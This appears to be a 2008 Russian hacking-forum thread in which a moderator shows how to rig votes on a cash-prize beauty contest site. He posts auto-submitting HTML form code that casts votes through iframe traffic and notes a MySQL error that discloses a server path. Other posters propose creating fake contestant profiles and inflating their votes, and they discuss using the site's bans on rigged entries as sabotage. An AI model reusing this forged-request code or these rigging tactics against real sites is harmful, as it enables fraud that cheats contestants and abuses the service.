Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
16.08.2008, 06:44
|
|
Moderator - Level 7
Регистрация: 04.07.2007
Сообщений: 375
Провел на форуме:
2670099
Репутация:
730
|
|
Мисс Вконтакте 2008 xD
Ходя по интернету наткнулся на сайт http://missvkontakte.com/
Цель его такова:
Девушки регистрируются
За них голосуют
И сами призы
1-место Приз: 300 000 рублей.
2-место Приз: 100 000 рублей.
3-место Приз: 50 000 рублей.
Голоса можно было отправить несколькими способами:
1 голос бесплатно (по ip каждые пол часа)
10 голосов СМС
100 голосов СМС
Ну покопавшись в сорцах сайта обнорушил, что +1 добавляется обычным post запросом (хоть бы капчу прикрутили  )
И был написан iframe
PHP код:
<html>
<body>
<form name=MyForm action="http://missvkontakte.com/simplevoice.php" method=POST>
<input type=hidden name="id_miss" value="Номер учасницы">
</form>
<script>
document.MyForm.submit();
</script>
</body>
</html>
Следовательно сливаем на него трафф и голоса летят) или крути пост через ТОПген
Так же заметил ошибку мускула где раскрытие путей:
PHP код:
Warning: mysql_fetch_array(): supplied argument is
not a valid MySQL result resource in /www/missvkon/www/htdocs/index.php on line 261
Есть идеи? Что ещё можно найти тут?
P.S. Сайт ну никак не соответствует призовой сумме 
Благодарю комрада mr.The за помощь оказанную мне в поиске уязвимостей сайта.
Последний раз редактировалось T-Rey; 17.08.2008 в 19:20..
|
|
|
16.08.2008, 07:44
|
|
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
Провел на форуме:
2052669
Репутация:
178
|
|
имхо, помоему лажа полная, можно конечно накрутить голосов понравившейся телке  , или создать фейковую анкету и накрутить себе  , только есть один вопрос, а не кидалово ли этот сайт. |
|
|
|
16.08.2008, 07:59
|
|
Moderator - Level 7
Регистрация: 04.07.2007
Сообщений: 375
Провел на форуме:
2670099
Репутация:
730
|
|
Вот у меня точно такие же сомнения.
Хотят срубить на смс.
Акция до декабря, вполне реально, что приз будет.
Призовой фонд 450 тонн... они на той же рекламе и смс за это время в раза 4 больше получат.
|
|
|
|
16.08.2008, 08:46
|
|
Постоянный
Регистрация: 05.07.2008
Сообщений: 555
Провел на форуме:
3134311
Репутация:
1467
|
|
Сообщение от T-Rey
Вот у меня точно такие же сомнения.
Хотят срубить на смс.
Акция до декабря, вполне реально, что приз будет.
Призовой фонд 450 тонн... они на той же рекламе и смс за это время в раза 4 больше получат.
:d) Согласен!!!))
|
|
|
|
16.08.2008, 11:53
|
|
Moderator - Level 7
Регистрация: 04.07.2007
Сообщений: 375
Провел на форуме:
2670099
Репутация:
730
|
|
Никаких уязвимостей больше не обнаружено.
Кроме конечно того факта, при накрутки участници её банят :-l
Так диверсию устроить можно.
|
|
|
|
16.08.2008, 11:57
|
|
Banned
Регистрация: 11.08.2008
Сообщений: 15
Провел на форуме:
69883
Репутация:
5
|
|
в бан всех!
|
|
|
|
16.08.2008, 12:01
|
|
Участник форума
Регистрация: 17.01.2008
Сообщений: 284
Провел на форуме:
684402
Репутация:
117
|
|
а можно ради проверки действительно создать фэйковую анкету и накрутить её на максимум. Посмотрим на реакцию администрации |
|
|
|
16.08.2008, 12:02
|
|
Banned
Регистрация: 11.08.2008
Сообщений: 15
Провел на форуме:
69883
Репутация:
5
|
|
http://vkontakte.ru/id16557956
действуйте, воены!
|
|
|
|
17.08.2008, 17:37
|
|
Moderator - Level 7
Регистрация: 04.07.2007
Сообщений: 375
Провел на форуме:
2670099
Репутация:
730
|
|
Сообщение от born2flood
http://vkontakte.ru/id16557956
действуйте, воены!
Удалили.
Катю Пушкарёву в лидеры!
Нужен iframe траффик.
|
|
|
|
17.08.2008, 19:02
|
|
Moderator - Level 7
Регистрация: 04.07.2007
Сообщений: 375
Провел на форуме:
2670099
Репутация:
730
|
|
http://vkontakte.ru/club3621274
Я плакатъ =))
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
